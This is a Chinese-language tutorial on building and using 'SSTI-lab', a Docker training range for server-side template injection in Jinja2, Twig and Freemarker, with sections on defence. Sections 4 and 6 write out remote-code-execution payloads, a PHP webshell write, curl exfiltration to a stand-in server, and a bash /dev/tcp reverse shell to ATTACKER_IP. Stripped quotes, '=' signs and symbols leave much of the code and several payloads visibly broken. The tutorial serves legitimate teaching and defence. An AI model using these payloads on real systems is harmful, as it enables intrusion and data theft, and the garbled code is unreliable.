1. 项目概述从“SSTI-lab”看模板注入攻防演练场的构建最近在整理内部安全培训材料发现很多新人对“模板注入”SSTI这个概念的理解还停留在“知道有这么个漏洞”的层面真要上手挖洞或者做代码审计往往无从下手。正好手头有个之前为了内部教学搭建的靶场环境代号就叫“SSTI-lab”。这名字听起来挺直白就是一个专门用来练习和复现服务器端模板注入漏洞的实验室环境。它不是某个现成的开源项目而是我为了模拟真实开发场景中可能出现的各种模板引擎使用不当问题自己攒出来的一个“漏洞百宝箱”。简单来说SSTI-lab是一个集成了多种流行模板引擎比如Jinja2、Twig、Freemarker、Velocity等的Web应用它故意在多个地方留下了不安全的模板渲染代码。你可以把它理解为一个“闯关游戏”每一关都对应一种模板引擎或一种特定的漏洞利用场景目标就是从最初的简单回显一步步深入到获取服务器权限RCE。对于安全研究员、渗透测试工程师甚至是后端开发人员来说这样一个环境的价值在于它提供了一个绝对安全、合法的沙箱让你可以反复试验各种Payload深入理解模板引擎的渲染机制、沙箱绕过技巧而不必担心触碰法律红线或破坏生产系统。我搭建它的初衷就是为了解决“理论到实践”的最后一公里问题。网上的文章很多但往往只给一个最终Payload中间的思考过程、调试方法、引擎特性差异都需要自己摸索。通过SSTI-lab我希望任何想深入研究SSTI的人都能获得一条清晰的、可实操的学习路径。2. SSTI漏洞核心原理与危害深度解析2.1 模板引擎是如何工作的要理解SSTI必须先明白模板引擎在干什么。我们以一个最常见的场景为例一个用户博客页面。页面的框架HTML结构、CSS样式是固定的但每篇博客的标题、作者、内容是不同的。程序员不会为每篇博客写一个单独的HTML文件而是会写一个“模板”文件。这个模板里包含固定HTML标签和特殊的“占位符”或“表达式”。比如一个Jinja2模板可能长这样h1{{ post.title }}/h1 p作者{{ post.author }}/p div classcontent {{ post.content|safe }} /div这里的{{ ... }}就是模板表达式。后端程序比如Python Flask会从数据库取出post对象然后将这个模板和数据进行“渲染”Render。渲染引擎会解析模板遇到{{ post.title }}就去查找post对象的title属性并用其值替换掉这个占位符最终生成一个纯HTML字符串发送给浏览器。关键点在于模板引擎为了功能强大其表达式语言往往不仅仅是简单的变量替换。它们可以支持属性访问{{ user.name }}方法调用{{ user.get_profile() }}算术与逻辑运算{{ 10 20 }},{% if user.is_admin %}...{% endif %}过滤器{{ content|upper }}将内容转为大写控制结构{% for item in list %}...{% endfor %}这就相当于在模板中嵌入了一个功能强大的“迷你编程语言”。在安全的用法下开发者只将可控的数据如post.title放入表达式。但一旦将用户输入直接拼接进模板表达式灾难就开始了。2.2 漏洞是如何产生的不安全的代码通常长这样# 危险示例用户输入直接拼接到模板字符串中 from jinja2 import Template user_input request.args.get(name) template_str fHello, {user_input}! # 用户输入被直接拼接 tmpl Template(template_str) output tmpl.render() return output或者更隐蔽的# 危险示例用户输入作为模板变量名的一部分 template Template(Welcome {{ user user_input }}) output template.render(**user_data)当攻击者输入{{ 7*7 }}时如果页面回显了49那么一个SSTI漏洞就被发现了。因为模板引擎执行了表达式7*7。这不仅仅是计算器这是攻击者向你的服务器发送了一段代码并且你的服务器执行了它。2.3 SSTI的终极危害从信息泄露到完全沦陷很多人觉得SSTI只能弹个计算器危害不大这是严重的误解。其危害链条是递进的信息泄露通过调用环境变量、配置文件读取等方法可以泄露数据库连接字符串、API密钥、服务器路径等敏感信息。例如在Jinja2中{{ config }}可能直接打印出Flask应用的整个配置对象。文件系统操作利用模板引擎的内置函数或通过构造的类实现文件读取、写入、删除。比如读取/etc/passwd或者写入一个Webshell。远程代码执行RCE这是SSTI的终极形态。攻击者通过模板表达式最终调用到能够执行系统命令的类或函数。例如在Python中最终目标是调用os.system()或subprocess.Popen()在Java中可能是Runtime.exec()。注意不同模板引擎的利用链天差地别。Jinja2和TwigPHP的利用方式完全不同FreemarkerJava和VelocityJava的Payload构造也各有门道。这就是为什么需要一个像SSTI-lab这样的综合环境来练习——你必须掌握多种“方言”。3. SSTI-lab靶场环境设计与构建思路3.1 设计目标与原则在设计SSTI-lab时我定了几个核心原则渐进性关卡难度由浅入深从明显的回显漏洞到需要深度构造的沙箱绕过。多样性覆盖主流编程语言Python, PHP, Java下的主流模板引擎。真实性漏洞代码片段尽量模拟真实项目中的错误写法而非故意写一个eval(user_input)。教育性每个关卡不仅给出漏洞点还提供调试接口或提示引导思考过程。3.2 技术栈选型与架构为了模拟真实环境我采用了微服务架构的思想但为了简化部署实际上是用Docker Compose编排了多个独立的Web应用容器。Python 关卡使用Flask Jinja2以及Django自带模板引擎。这是最常见的组合。PHP 关卡使用原生PHP、Twig常用于Symfony、Laravel等框架、Smarty。Java 关卡使用Spring Boot Thymeleaf现代常用以及单独的Spring MVC Freemarker、Velocity模块。前端与路由使用一个简单的Nginx作为反向代理将不同路径如/python/jinja2/level1代理到对应的后端应用。前端是一个统一的引导页面列出所有关卡。这样访问一个统一的入口就能切换练习不同的模板引擎漏洞无需启动多个服务。3.3 漏洞场景设计关卡示例每个引擎我都会设计3-5个难度递增的关卡Jinja2 关卡示例Level 1: 直接拼接render_template_string(user_input)最基础的漏洞用于熟悉{{ }}语法和基本对象探测。Level 2: 变量名注入模板为{{ user[input] }}用户控制input作为字典键名。需要利用Python的魔术方法如__class__进行属性遍历。Level 3: 过滤器绕过模板使用了{{ input|safe }}但上下文被沙箱限制。需要研究Jinja2的沙箱环境和内置函数寻找逃逸方法。Level 4: 无回显SSTI漏洞存在但页面没有直接输出。需要利用SSTI进行盲注例如通过执行time.sleep()来判断命令是否执行或通过DNS、HTTP请求外带数据。Twig 关卡示例Level 1: 基础表达式展示Twig的{{ _self }}、{{ _context }}等特殊变量。Level 2: 过滤器链利用利用map、reduce、filter等过滤器组合调用危险函数。Level 3: 沙箱环境绕过模拟Twig沙箱模式寻找未被禁止的函数或属性。4. 核心漏洞利用链的构造与实战分析4.1 Python Jinja2 利用链解剖Jinja2的利用核心在于Python的对象继承链和魔术方法。一切皆对象对象都有__class__属性指向它的类。第一步找到基类输入{{ .__class__ }}回显class str。这说明我们拿到了字符串对象的类。第二步回溯到最顶层的基类通过__mro__方法解析顺序或__bases__属性可以找到父类。{{ .__class__.__mro__ }} # 输出(class str, class object) {{ .__class__.__base__ }} # 输出class object我们最终的目标是object类因为所有类都继承自它它拥有所有子类的引用。第三步获取object的所有子类object有一个__subclasses__()方法它返回当前已加载的所有继承自object的类。这是一个巨大的列表包含了os、subprocess等模块中的类。{{ .__class__.__base__.__subclasses__() }}这通常会返回一个很长的列表。我们需要在这个列表中寻找“有用的”类。第四步寻找命令执行类我们需要在子类列表中找到包含os模块或能导入os模块的类。通常我们会搜索class os._wrap_close或class subprocess.Popen。这需要写一个Payload来遍历或者凭经验知道它在列表中的大致索引。# 假设通过遍历发现索引1337处是os._wrap_close类 {{ .__class__.__base__.__subclasses__()[1337] }}现在我们拿到了os._wrap_close类。第五步调用popen或system方法os._wrap_close类本身没有system方法但我们可以通过它拿到os模块。# 获取类的__init__方法再获取其__globals__字典其中包含了模块全局变量 {{ .__class__.__base__.__subclasses__()[1337].__init__.__globals__ }}在__globals__字典里我们可以找到os键其值就是os模块。然后调用os.system(id)。{{ .__class__.__base__.__subclasses__()[1337].__init__.__globals__[os].system(id) }}如果成功服务器就会执行id命令。实操心得在实际渗透测试中索引号会因为Python版本、加载模块的不同而变化。一个稳健的Payload需要包含遍历逻辑或者使用更通用的方法比如寻找__builtins__。在SSTI-lab的高阶关卡中我会故意打乱加载顺序迫使练习者编写动态查找的Payload。4.2 PHP Twig 利用链解析Twig的利用思路与Jinja2不同。Twig提供了_self、_context等特殊变量。基础信息泄露{{ _self }}会显示当前模板的上下文信息有时会泄露环境变量。{{ _context }}会显示当前作用域的所有变量。关键利用点_self.env在旧版本的Twig如1.x或某些配置下_self有一个env属性它是Twig_Environment的实例。通过它我们可以调用getFilter()、getFunction()等方法但更直接的是利用registerUndefinedFilterCallback或registerUndefinedFunctionCallback来注册恶意回调函数但这通常需要一定的条件。更常见的RCE路径利用map过滤器Twig的过滤器功能强大。map过滤器可以对数组的每个元素应用一个回调函数。我们可以构造一个数组并让回调函数执行系统命令。{{ [id]|map(system)|join(,) }} {{ [cat /etc/passwd]|map(exec)|join(,) }}这里[id]是一个数组map(system)会对数组的每个元素即字符串id应用system函数。join只是为了将结果输出。利用filter过滤器{{ [cat /etc/passwd]|filter(system)|join(,) }}filter也会对每个元素应用回调函数如果函数返回true则保留该元素。system函数执行成功会返回状态码在PHP中可能被当作true。注意事项现代版本的Twig3.x在安全方面做了很多加强默认的沙箱模式会禁止很多危险函数。SSTI-lab中会设置不同版本的Twig环境让你体会不同版本下的利用差异。4.3 Java Freemarker 利用链解析Freemarker的利用通常围绕“内建函数”和“数据模型”展开。危险的内建函数newFreemarker有一个内建函数new可以用来创建任意Java对象。这是最直接的攻击向量。#assign exfreemarker.template.utility.Execute?new() ${ ex(id) }这段模板代码做了以下几件事#assign ...赋值语句创建一个变量。freemarker.template.utility.Execute?new()?new()是new内建函数的调用它尝试用字符串作为类名来实例化一个对象。freemarker.template.utility.Execute是Freemarker自带的一个用于执行命令的类显然这个类的存在本身就是不安全的。${ ex(id) }调用刚创建的ex对象的构造函数Execute的构造函数接收命令字符串从而执行id命令。如果new被禁用在一些安全配置中会禁用new内建函数。这时就需要寻找其他路径利用Class加载器通过Object.getClass().getClassLoader()链尝试加载恶意类。利用数据模型中的危险对象如果数据模型中传入了包含危险方法的对象如Runtime实例可以直接调用。这模拟了开发者在Controller中不慎将危险对象传入模板的场景。利用api、statics内建函数这些内建函数可以访问静态方法可能被用来调用危险静态方法。在SSTI-lab的Java关卡中我会模拟这两种情况一种是存在freemarker.template.utility.Execute的旧环境另一种是禁用new但数据模型中存在风险对象的环境。5. 靶场搭建实操与关键配置详解5.1 使用Docker快速构建异构环境手动搭建Python、PHP、Java环境太繁琐Docker是最佳选择。我为每个引擎编写了独立的Dockerfile和docker-compose.yml。以Jinja2关卡为例的DockerfileFROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY . . # 故意使用不安全的开发服务器仅用于靶场 CMD [python, app.py]对应的app.py就是Flask应用其中包含了各个关卡的漏洞代码。docker-compose.yml核心部分version: 3.8 services: nginx: image: nginx:alpine ports: - 8080:80 volumes: - ./nginx.conf:/etc/nginx/nginx.conf - ./html:/usr/share/nginx/html depends_on: - flask-jinja2 - php-twig - spring-freemarker flask-jinja2: build: ./challenges/python/jinja2 # 不暴露端口仅通过nginx访问 php-twig: build: ./challenges/php/twig spring-freemarker: build: ./challenges/java/freemarkerNginx的配置nginx.conf中通过location指令将请求转发到不同的后端服务。5.2 漏洞代码示例与安全警示以下是SSTI-lab中一个Jinja2关卡的反面教材代码绝对不可用于生产环境from flask import Flask, request, render_template_string app Flask(__name__) app.route(/level1) def level1(): # 漏洞用户输入直接传入 render_template_string name request.args.get(name, Guest) # 这是最经典的SSTI漏洞模式 template fh1Hello, {name}!/h1 return render_template_string(template) app.route(/level2) def level2(): # 漏洞用户输入控制模板变量名 key request.args.get(key, username) user {username: admin, password: secret123} # 用户可以通过控制key来访问对象的其他属性如 __class__ template fYour value is: {{{{ user.{key} }}}} return render_template_string(template, useruser) if __name__ __main__: # 警告debug模式会带来更多安全风险仅用于靶场 app.run(debugTrue, host0.0.0.0)安全编程规范绝对不要将用户输入直接拼接进模板字符串。使用安全的渲染方式将用户输入作为数据传递给模板而不是模板的一部分。# 正确做法 name request.args.get(name, Guest) return render_template(greeting.html, namename) # 在greeting.html中使用 {{ name }}对模板引擎进行沙箱配置如果业务必须动态生成模板如CMS系统应使用严格的沙箱环境禁用危险函数和属性访问。Jinja2的SandboxedEnvironment是一个起点但需要仔细配置。代码审计在代码审查中重点检查所有调用render_template_string、Template类构造函数的地方以及任何字符串拼接后传入模板渲染函数的逻辑。6. 攻击实战从漏洞发现到权限获取6.1 漏洞探测与识别发现SSTI漏洞的第一步是“模糊测试”Fuzzing。向所有可能的参数点GET/POST参数、Cookie、Headers、路由路径插入模板引擎的语法标记。通用探测Payload{{7*7}}- 如果回显49极可能存在SSTI。${7*7}- 针对某些EL表达式或特定引擎。% 7*7 %- 针对ERB等引擎。${{7*7}}- 针对某些上下文。{{7*7}}- 如果回显7777777也可能存在Jinja2中字符串乘法。识别引擎类型 不同引擎对错误语法的响应不同可以利用这一点进行指纹识别。输入{{Jinja2/Twig会报语法错误可能包含引擎名称。输入${可能是Freemarker或Velocity。输入{{/*注释*/}}Jinja2/Twig支持注释其他引擎可能报错。输入{{ include.txt}}可能是Smarty的包含语法。在SSTI-lab中每个关卡的首页都会给出明确提示但在真实环境中这些探测技巧至关重要。6.2 利用链构造与自动化思考手动构造利用链很酷但效率低。在实际渗透测试或自动化扫描中我们需要一种更系统的方法。信息收集Payload首先尝试获取基本对象信息。{{ self }}(Twig){{ config }}(Flask/Jinja2如果config在上下文中){{ .__class__ }}(Jinja2)构建自动化探测脚本可以编写一个简单的脚本针对识别出的引擎依次尝试预定义的Payload链。例如对于Jinja2脚本会自动尝试遍历__subclasses__()并寻找os或subprocess模块。无回显利用盲注如果命令执行没有回显可以利用以下技巧时间延迟{{ .__class__.__base__.__subclasses__()[X].__init__.__globals__[os].system(sleep 5) }}。通过观察响应时间是否延迟来判断命令是否执行。DNS外带执行ping或curl命令将执行结果作为子域名发送到你自己控制的DNS服务器。{{ ... [os].system(curl http://your-server.com/whoami) }}HTTP请求外带使用wget或curl将命令结果作为HTTP请求参数发送出去。在SSTI-lab的高阶关卡中我专门设置了无回显的场景迫使练习者掌握这些盲注技术。6.3 权限维持与后渗透在通过SSTI获取RCE之后通常只是一个临时进程。为了维持访问需要上传Webshell或建立反向Shell。上传Webshell利用文件写入功能。# 通过Python的open函数写文件 {{ .__class__.__base__.__subclasses__()[X].__init__.__globals__[open](/var/www/html/shell.php, w).write(?php system($_GET[c]);?) }}建立反向Shell更隐蔽的方式。# 在攻击机上监听nc -lvnp 4444 # Payload中执行 {{ ... [os].system(bash -c \bash -i /dev/tcp/ATTACKER_IP/4444 01\) }}重要警告此操作仅在授权的渗透测试或像SSTI-lab这样的封闭靶场中进行。在真实未授权的系统上实施是违法行为。7. 防御策略与安全开发实践7.1 输入验证与过滤是银弹吗很多人第一反应是过滤{{、}}、$等特殊字符。这是一种脆弱且容易绕过的防御方式。绕过方法模板语法非常灵活。{ {中间加空格、{{}}}}嵌套字符串、使用Unicode编码、利用模板引擎的注释语法等都可能绕过简单的黑名单。误杀业务可能确实需要用户输入这些字符比如代码分享平台。维护成本黑名单会越来越长难以维护。更佳实践严格区分代码和数据。用户输入永远只应该作为模板渲染时的数据值而不是模板结构的一部分。7.2 安全的模板引擎使用模式使用静态模板文件尽可能使用预定义的.html、.j2模板文件通过安全的上下文变量传递数据。如果需要动态模板白名单控制如果业务必须动态组装模板如邮件模板、报告模板应使用严格的、预定义好的模板片段进行拼接而不是让用户自由输入模板语法。启用自动转义确保模板引擎的自动转义功能开启。对于Jinja2autoescapeTrue是默认的但使用render_template_string时需注意。沙箱环境使用引擎提供的沙箱环境并仔细审查其安全策略。例如Jinja2的SandboxedEnvironment可以禁用不安全的属性和方法。7.3 架构层面的缓解措施WAFWeb应用防火墙部署具有SSTI规则集的WAF可以拦截常见的攻击Payload。但WAF可能被绕过不能作为唯一防线。运行时应用自我保护RASP在应用运行时检测危险行为如通过反射调用Runtime.exec()或os.system()。RASP能提供更深层的防护。代码审计与安全扫描将SSTI作为代码审计和SAST静态应用安全测试工具的重点检查项。定期对代码库进行扫描。最小权限原则运行Web应用的进程如www-data用户应具有尽可能少的系统权限。即使被攻破攻击者能做的事情也有限。7.4 开发框架的安全特性现代开发框架通常提供了更安全的默认配置。Flask默认使用Jinja2并开启自动转义。但render_template_string函数是危险的源头框架本身无法阻止开发者误用。Django其模板引擎设计上就更“笨”一些默认不支持任意函数调用相对更安全但也不是绝对免疫。Spring Boot ThymeleafThymeleaf在设计上强调自然模板模板本身就是有效的HTML且表达式语言功能受限默认情况下比JSP或某些老式Java模板引擎更安全。框架不能替你写安全的代码。最终安全意识和对“用户输入不可信”这一铁律的坚守才是防御SSTI和其他注入漏洞的根本。搭建和练习SSTI-lab的过程本身就是一个深刻理解这些安全原则的过程。当你亲手构造出一个个绕过Payload再回头去审视那些漏洞代码时你会对“如何写出安全的代码”产生肌肉记忆。这才是这个靶场最大的价值——它不是教你如何攻击而是让你在攻击的视角下真正学会如何防御。